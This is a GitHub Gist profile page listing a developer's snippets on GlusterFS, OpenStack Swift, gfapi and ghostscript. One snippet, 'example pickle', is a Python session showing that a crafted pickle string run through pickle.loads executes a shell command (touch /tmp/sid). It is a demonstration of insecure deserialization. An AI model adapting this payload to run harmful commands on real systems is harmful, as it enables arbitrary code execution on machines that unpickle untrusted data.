Skip to content

Instantly share code, notes, and snippets.

View prashanthpai's full-sized avatar

Prashanth Pai prashanthpai

View GitHub Profile
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf in{1..6}.pdf
@prashanthpai
prashanthpai / gfapi_binary.py
Created June 23, 2015 14:39
gfapi binary file test
#!/usr/bin/env python
from ctypes import *
from gluster.gfapi import Volume
from array import array
class Point(Structure):
_fields_ = [('name', c_char_p),
('x', c_double), ('y', c_double), ('z', c_double)]
[vagrant@storage1 tmp]$ swift-ring-builder object.builder create 1 1 1
[vagrant@storage1 tmp]$ swift-ring-builder object.builder add r1z1-127.0.0.1:6051/test1 1
Device d0r1z1-127.0.0.1:6051R127.0.0.1:6051/test1_"" with 1.0 weight got id 0
[vagrant@storage1 tmp]$ swift-ring-builder object.builder rebalance -s 12345
Reassigned 2 (100.00%) partitions. Balance is now 0.00. Dispersion is now 0.00
[vagrant@storage1 tmp]$ ls
backups object.builder object.ring.gz
[vagrant@storage1 tmp]$ md5sum object.ring.gz
a6189aae48a89a3823eec8345ff61107 object.ring.gz
[vagrant@storage1 tmp]$ rm -rf ./*
@prashanthpai
prashanthpai / sid
Created September 3, 2015 07:17
example pickle
[root@rhs31 ~]# python
Python 2.6.6 (r266:84292, May 22 2015, 08:34:51)
[GCC 4.4.7 20120313 (Red Hat 4.4.7-15)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle as pickle
>>> import os
>>> exploit = "cos\nsystem\n(S'touch /tmp/sid'\ntR.'\ntR."
>>> pickle.loads(exploit)
0
>>> 'sid' in os.listdir('/tmp')
@prashanthpai
prashanthpai / swift_bad_func_test.py
Created September 22, 2015 06:59
testMetadataLimit
import json
import uuid
import random
# Basics
# .encode('utf-8') converts unicode into byte sequence
# .decode('utf-8') converts byte sequence into unicode
#
# A unicode code point is encoded into a sequence of bytes.
# This encoded sequence can be one byte to six bytes long.
root# python
Python 2.7.5 (default, Jun 25 2014, 10:19:55) 
[GCC 4.8.2 20131212 (Red Hat 4.8.2-7)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> from swift.common.utils import O_TMPFILE
>>> os.open("/mnt/test/", os.O_WRONLY | O_TMPFILE)
Traceback (most recent call last):
 File "", line 1, in 
diff --git a/swiftonfile/swift/common/utils.py b/swiftonfile/swift/common/utils.py
index c7ad8bf..5cb30ae 100644
--- a/swiftonfile/swift/common/utils.py
+++ b/swiftonfile/swift/common/utils.py
@@ -292,7 +292,7 @@ def _get_etag(path_or_fd):
return etag
-def get_object_metadata(obj_path_or_fd, stats=None):
+def get_object_metadata(obj_path_or_fd, stats=None, etag=None):
[root@hummingbird ~]# curl -v -X PUT http://localhost:8080/v1/AUTH_test/c1/o4 -d'hello'
[root@hummingbird gfapi]# ltrace -T -ff -p 28906

[pid 28908] malloc(17, 0xc820000f00, 0xc82004afa8, 0xc82004aff8)                                                                                   = 0x7f28f80008c0 <0.021299>
[pid 28908] __errno_location(0xc82004b080, 0xc820000f00, 0xc82004aff0, 0xc82004b080)                                                               = 0x7f291ce45640 <0.006508>
[pid 28908] glfs_stat(0x1ad2550, 0x7f28f80008c0, 0xc82017bd40, 0xc82004b080)                                                                       = 0xffffffff <0.015113>
[pid 28908] free(0x7f28f80008c0, 0xc820000f00, 0xc82004b018, 0xc82004b080)                                                                         = 0 <0.003132>
[pid 28908] malloc(14, 0xc820000f00, 0xc82004aee0, 0xc82004af30)                                                                                   = 0x7f28f80008c0 <0.002026>
[pid 28908] __errno_loca

DiskFile API call flow for different requests

GET

disk_file = self.get_diskfile(...)
with disk_file.open():
    metadata = disk_file.get_metadata()
    response = Response(app_iter=disk_file.reader, ...)
digraph swiftonfile {
"swiftonfile" -> "memcached"
"swiftonfile" -> "openssl"
"swiftonfile" -> "openstack-swift"
"swiftonfile" -> "openstack-swift-account"
"swiftonfile" -> "openstack-swift-container"
"swiftonfile" -> "openstack-swift-object"
"swiftonfile" -> "openstack-swift-proxy"
"swiftonfile" -> "python-gluster"
"swiftonfile" -> "python-prettytable"